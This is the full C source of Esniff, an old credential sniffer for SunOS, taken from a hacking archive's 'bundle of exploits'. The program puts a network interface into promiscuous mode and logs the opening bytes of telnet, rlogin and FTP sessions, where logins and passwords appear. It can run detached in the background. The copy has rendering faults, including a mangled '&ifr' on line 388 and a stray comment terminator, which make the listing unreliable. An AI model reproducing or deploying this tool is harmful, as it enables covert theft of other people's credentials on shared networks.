home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / Esniff.c < prev    next >
Text File  |  1998-07-17  |  12KB  |  516 lines

  1.  
  2. /* [JOIN THE POSSE!] */
  3.  
  4. /* Esniff.c */
  5.  
  6. #include <stdio.h>
  7. #include <ctype.h>
  8. #include <string.h>
  9.  
  10. #include <sys/time.h>
  11. #include <sys/file.h>
  12. #include <sys/stropts.h>
  13. #include <sys/signal.h>
  14. #include <sys/types.h>
  15. #include <sys/socket.h>
  16. #include <sys/ioctl.h>
  17.  
  18. #include <net/if.h>
  19. #include <net/nit_if.h>
  20. #include <net/nit_buf.h>
  21. #include <net/if_arp.h>
  22.  
  23. #include <netinet/in.h>
  24. #include <netinet/if_ether.h>
  25. #include <netinet/in_systm.h>
  26. #include <netinet/ip.h>
  27. #include <netinet/udp.h>
  28. #include <netinet/ip_var.h>
  29. #include <netinet/udp_var.h>
  30. #include <netinet/in_systm.h>
  31. #include <netinet/tcp.h>
  32. #include <netinet/ip_icmp.h>
  33.  
  34. #include <netdb.h>
  35. #include <arpa/inet.h>
  36.  
  37. #define ERR stderr
  38.  
  39. char    *malloc();
  40. char    *device,
  41.         *ProgName,
  42.         *LogName;
  43. FILE    *LOG;
  44. int     debug=0;
  45.  
  46. #define NIT_DEV     "/dev/nit"
  47. #define CHUNKSIZE   4096        /* device buffer size */
  48. int     if_fd = -1;
  49. int     Packet[CHUNKSIZE+32];
  50.  
  51. void Pexit(err,msg)
  52. int err; char *msg;
  53. { perror(msg);
  54.   exit(err); }
  55.  
  56. void Zexit(err,msg)
  57. int err; char *msg;
  58. { fprintf(ERR,msg);
  59.   exit(err); }
  60.  
  61. #define IP          ((struct ip *)Packet)
  62. #define IP_OFFSET   (0x1FFF)
  63. #define SZETH       (sizeof(struct ether_header))
  64. #define IPLEN       (ntohs(ip->ip_len))
  65. #define IPHLEN      (ip->ip_hl)
  66. #define TCPOFF      (tcph->th_off)
  67. #define IPS         (ip->ip_src)
  68. #define IPD         (ip->ip_dst)
  69. #define TCPS        (tcph->th_sport)
  70. #define TCPD        (tcph->th_dport)
  71. #define IPeq(s,t)   ((s).s_addr == (t).s_addr)
  72.  
  73. #define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
  74.  
  75. #define MAXBUFLEN  (128)
  76. time_t  LastTIME = 0;
  77.  
  78. struct CREC {
  79.      struct CREC *Next,
  80.                  *Last;
  81.      time_t  Time;              /* start time */
  82.      struct in_addr SRCip,
  83.                     DSTip;
  84.      u_int   SRCport,           /* src/dst ports */
  85.              DSTport;
  86.      u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
  87.      u_int   Length;            /* current data length */
  88.      u_int   PKcnt;             /* # pkts */
  89.      u_long  LASTseq;
  90. };
  91.  
  92. struct CREC *CLroot = NULL;
  93.  
  94. char *Symaddr(ip)
  95. register struct in_addr ip;
  96. { register struct hostent *he =
  97.       gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);
  98.  
  99.   return( (he)?(he->h_name):(inet_ntoa(ip)) );
  100. }
  101.  
  102. char *TCPflags(flgs)
  103. register u_char flgs;
  104. { static char iobuf[8];
  105. #define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')
  106.  
  107.   SFL(0,TH_FIN, 'F');
  108.   SFL(1,TH_SYN, 'S');
  109.   SFL(2,TH_RST, 'R');
  110.   SFL(3,TH_PUSH,'P');
  111.   SFL(4,TH_ACK, 'A');
  112.   SFL(5,TH_URG, 'U');
  113.   iobuf[6]=0;
  114.   return(iobuf);
  115. }
  116.  
  117. char *SERVp(port)
  118. register u_int port;
  119. { static char buf[10];
  120.   register char *p;
  121.  
  122.    switch(port) {
  123.      case IPPORT_LOGINSERVER: p="rlogin"; break;
  124.      case IPPORT_TELNET:      p="telnet"; break;
  125.      case IPPORT_SMTP:        p="smtp"; break;
  126.      case IPPORT_FTP:         p="ftp"; break;
  127.      default: sprintf(buf,"%u",port); p=buf; break;
  128.    }
  129.    return(p);
  130. }
  131.  
  132. char *Ptm(t)
  133. register time_t *t;
  134. { register char *p = ctime(t);
  135.   p[strlen(p)-6]=0; /* strip " YYYY\n" */
  136.   return(p);
  137. }
  138.  
  139. char *NOWtm()
  140. { time_t tm;
  141.   time(&tm);
  142.   return( Ptm(&tm) );
  143. }
  144.  
  145. #define MAX(a,b) (((a)>(b))?(a):(b))
  146. #define MIN(a,b) (((a)<(b))?(a):(b))
  147.  
  148. /* add an item */
  149. #define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  150.   register struct CREC *CLtmp = \
  151.         (struct CREC *)malloc(sizeof(struct CREC)); \
  152.   time( &(CLtmp->Time) ); \
  153.   CLtmp->SRCip.s_addr = SIP.s_addr; \
  154.   CLtmp->DSTip.s_addr = DIP.s_addr; \
  155.   CLtmp->SRCport = SPORT; \
  156.   CLtmp->DSTport = DPORT; \
  157.   CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  158.   bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  159.   CLtmp->PKcnt = 1; \
  160.   CLtmp->Next = CLroot; \
  161.   CLtmp->Last = NULL; \
  162.   CLroot = CLtmp; \
  163. }
  164.  
  165. register struct CREC *GET_NODE(Sip,SP,Dip,DP)
  166. register struct in_addr Sip,Dip;
  167. register u_int SP,DP;
  168. { register struct CREC *CLr = CLroot;
  169.  
  170.   while(CLr != NULL) {
  171.     if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
  172.         IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
  173.             break;
  174.     CLr = CLr->Next;
  175.   }
  176.   return(CLr);
  177. }
  178.  
  179. #define ADDDATA_NODE(CL,DATA,LEN) { \
  180.  bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
  181.  CL->Length += LEN; \
  182. }
  183.  
  184. #define PR_DATA(dp,ln) {    \
  185.   register u_char lastc=0; \
  186.   while(ln-- >0) { \
  187.      if(*dp < 32) {  \
  188.         switch(*dp) { \
  189.             case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
  190.                         break; \
  191.             case '\r': \
  192.             case '\n': fprintf(LOG,"\n     : "); \
  193.                         break; \
  194.             default  : fprintf(LOG,"^%c", (*dp + 64)); \
  195.                         break; \
  196.         } \
  197.      } else { \
  198.         if(isprint(*dp)) fputc(*dp,LOG); \
  199.         else fprintf(LOG,"(%d)",*dp); \
  200.      } \
  201.      lastc = *dp++; \
  202.   } \
  203.   fflush(LOG); \
  204. }
  205.  
  206. void END_NODE(CLe,d,dl,msg)
  207. register struct CREC *CLe;
  208. register u_char *d;
  209. register int dl;
  210. register char *msg;
  211. {
  212.    fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
  213.    fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
  214.    fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
  215.    fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
  216.                         NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);
  217.    fprintf(LOG," DATA: ");
  218.     { register u_int i = CLe->Length;
  219.       register u_char *p = CLe->Data;
  220.       PR_DATA(p,i);
  221.       PR_DATA(d,dl);
  222.     }
  223.  
  224.    fprintf(LOG,"\n-- \n");
  225.    fflush(LOG);
  226.  
  227.    if(CLe->Next != NULL)
  228.     CLe->Next->Last = CLe->Last;
  229.    if(CLe->Last != NULL)
  230.     CLe->Last->Next = CLe->Next;
  231.    else
  232.     CLroot = CLe->Next;
  233.    free(CLe);
  234. }
  235.  
  236. /* 30 mins (x 60 seconds) */
  237. #define IDLE_TIMEOUT 1800
  238. #define IDLE_NODE() { \
  239.   time_t tm; \
  240.   time(&tm); \
  241.   if(LastTIME<tm) { \
  242.      register struct CREC *CLe,*CLt = CLroot; \
  243.      LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \
  244.      while(CLe=CLt) { \
  245.        CLt=CLe->Next; \
  246.        if(CLe->Time <tm) \
  247.            END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
  248.      } \
  249.   } \
  250. }
  251.  
  252. void filter(cp, pktlen)
  253. register char *cp;
  254. register u_int pktlen;
  255. {
  256.  register struct ip     *ip;
  257.  register struct tcphdr *tcph;
  258.  
  259.  { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);
  260.  
  261.    if(EtherType < 0x600) {
  262.      EtherType = *(u_short *)(cp + SZETH + 6);
  263.      cp+=8; pktlen-=8;
  264.    }
  265.  
  266.    if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */
  267.       return;
  268.  }
  269.  
  270.     /* ugh, gotta do an alignment :-( */
  271.  bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));
  272.  
  273.  ip = (struct ip *)Packet;
  274.  if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
  275.     return;
  276.  tcph = (struct tcphdr *)(Packet + IPHLEN);
  277.  
  278.  if(!( (TCPD == IPPORT_TELNET) ||
  279.        (TCPD == IPPORT_LOGINSERVER) ||
  280.        (TCPD == IPPORT_FTP)
  281.    )) return;
  282.  
  283.  { register struct CREC *CLm;
  284.    register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
  285.    register u_char *p = (u_char *)Packet;
  286.  
  287.    p += ((IPHLEN * 4) + (TCPOFF * 4));
  288.  
  289.  if(debug) {
  290.   fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  291.   fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  292.   fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));
  293.  }
  294.  
  295.    if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {
  296.  
  297.       CLm->PKcnt++;
  298.  
  299.       if(length>0)
  300.         if( (CLm->Length + length) < MAXBUFLEN ) {
  301.           ADDDATA_NODE( CLm, p,length);
  302.         } else {
  303.           END_NODE( CLm, p,length, "DATA LIMIT");
  304.         }
  305.  
  306.       if(TCPFL(TH_FIN|TH_RST)) {
  307.           END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );
  308.       }
  309.  
  310.    } else {
  311.  
  312.       if(TCPFL(TH_SYN)) {
  313.          ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);
  314.       }
  315.  
  316.    }
  317.  
  318.    IDLE_NODE();
  319.  
  320.  }
  321.  
  322. }
  323.  
  324. /* signal handler
  325.  */
  326. void death()
  327. { register struct CREC *CLe;
  328.  
  329.     while(CLe=CLroot)
  330.         END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");
  331.  
  332.     fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
  333.     fflush(LOG);
  334.     if(LOG != stdout)
  335.         fclose(LOG);
  336.     exit(1);
  337. }
  338.  
  339. /* opens network interface, performs ioctls and reads from it,
  340.  * passing data to filter function
  341.  */
  342. void do_it()
  343. {
  344.     int cc;
  345.     char *buf;
  346.     u_short sp_ts_len;
  347.  
  348.     if(!(buf=malloc(CHUNKSIZE)))
  349.         Pexit(1,"Eth: malloc");
  350.  
  351. /* this /dev/nit initialization code pinched from etherfind */
  352.   {
  353.     struct strioctl si;
  354.     struct ifreq    ifr;
  355.     struct timeval  timeout;
  356.     u_int  chunksize = CHUNKSIZE;
  357.     u_long if_flags  = NI_PROMISC;
  358.  
  359.     if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  360.         Pexit(1,"Eth: nit open");
  361.  
  362.     if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
  363.         Pexit(1,"Eth: ioctl (I_SRDOPT)");
  364.  
  365.     si.ic_timout = INFTIM;
  366.  
  367.     if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
  368.         Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");
  369.  
  370.     timeout.tv_sec = 1;
  371.     timeout.tv_usec = 0;
  372.     si.ic_cmd = NIOCSTIME;
  373.     si.ic_len = sizeof(timeout);
  374.     si.ic_dp  = (char *)&timeout;
  375.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  376.         Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");
  377.  
  378.     si.ic_cmd = NIOCSCHUNK;
  379.     si.ic_len = sizeof(chunksize);
  380.     si.ic_dp  = (char *)&chunksize;
  381.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  382.         Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");
  383.  
  384.     strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
  385.     ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
  386.     si.ic_cmd = NIOCBIND;
  387.     si.ic_len = sizeof(ifr);
  388.     si.ic_dp  = (char *)𝔦
  389.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  390.         Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");
  391.  
  392.     si.ic_cmd = NIOCSFLAGS;
  393.     si.ic_len = sizeof(if_flags);
  394.     si.ic_dp  = (char *)&if_flags;
  395.     if(ioctl(if_fd, I_STR, (char *)&si) < 0)
  396.         Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");
  397.  
  398.     if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
  399.         Pexit(1,"Eth: ioctl (I_FLUSH)");
  400.   }
  401.  
  402.     while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  403.         register char *bp = buf,
  404.                       *bufstop = (buf + cc);
  405.  
  406.         while (bp < bufstop) {
  407.             register char *cp = bp;
  408.             register struct nit_bufhdr *hdrp;
  409.  
  410.             hdrp = (struct nit_bufhdr *)cp;
  411.             cp += sizeof(struct nit_bufhdr);
  412.             bp += hdrp->nhb_totlen;
  413.             filter(cp, (u_long)hdrp->nhb_msglen);
  414.         }
  415.     }
  416.     Pexit((-1),"Eth: read");
  417. }
  418.  /* Authorize your proogie,generate your own password and uncomment here */
  419. /* #define AUTHPASSWD "EloiZgZejWyms" */
  420.  
  421. void getauth()
  422. { char *buf,*getpass(),*crypt();
  423.   char pwd[21],prmpt[81];
  424.  
  425.     strcpy(pwd,AUTHPASSWD);
  426.     sprintf(prmpt,"(%s)UP? ",ProgName);
  427.     buf=getpass(prmpt);
  428.     if(strcmp(pwd,crypt(buf,pwd)))
  429.         exit(1);
  430. }
  431.     */
  432. void main(argc, argv)
  433. int argc;
  434. char **argv;
  435. {
  436.     char   cbuf[BUFSIZ];
  437.     struct ifconf ifc;
  438.     int    s,
  439.            ac=1,
  440.            backg=0;
  441.  
  442.     ProgName=argv[0];
  443.  
  444.  /*     getauth(); */
  445.  
  446.     LOG=NULL;
  447.     device=NULL;
  448.     while((ac<argc) && (argv[ac][0] == '-')) {
  449.        register char ch = argv[ac++][1];
  450.        switch(toupper(ch)) {
  451.             case 'I': device=argv[ac++];
  452.                       break;
  453.             case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
  454.                          Zexit(1,"Output file cant be opened\n");
  455.                       break;
  456.             case 'B': backg=1;
  457.                       break;
  458.             case 'D': debug=1;
  459.                       break;
  460.             default : fprintf(ERR,
  461.                         "Usage: %s [-b] [-d] [-i interface] [-f file]\n",
  462.                             ProgName);
  463.                       exit(1);
  464.        }
  465.     }
  466.  
  467.     if(!device) {
  468.         if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  469.             Pexit(1,"Eth: socket");
  470.  
  471.         ifc.ifc_len = sizeof(cbuf);
  472.         ifc.ifc_buf = cbuf;
  473.         if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
  474.             Pexit(1,"Eth: ioctl");
  475.  
  476.         close(s);
  477.         device = ifc.ifc_req->ifr_name;
  478.     }
  479.  
  480.     fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
  481.     fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
  482.             (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");
  483.  
  484.     if(!LOG)
  485.         LOG=stdout;
  486.  
  487.     signal(SIGINT, death);
  488.     signal(SIGTERM,death);
  489.     signal(SIGKILL,death);
  490.     signal(SIGQUIT,death);
  491.  
  492.     if(backg && debug) {
  493.          fprintf(ERR,"[Cannot bg with debug on]\n");
  494.          backg=0;
  495.     }
  496.  
  497.     if(backg) {
  498.         register int s;
  499.  
  500.         if((s=fork())>0) {
  501.            fprintf(ERR,"[pid %d]\n",s);
  502.            exit(0);
  503.         } else if(s<0)
  504.            Pexit(1,"fork");
  505.  
  506.         if( (s=open("/dev/tty",O_RDWR))>0 ) {
  507.                 ioctl(s,TIOCNOTTY,(char *)NULL);
  508.                 close(s);
  509.         }
  510.     }
  511.     fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
  512.     fflush(LOG);
  513.  
  514.     do_it();
  515. }
  516.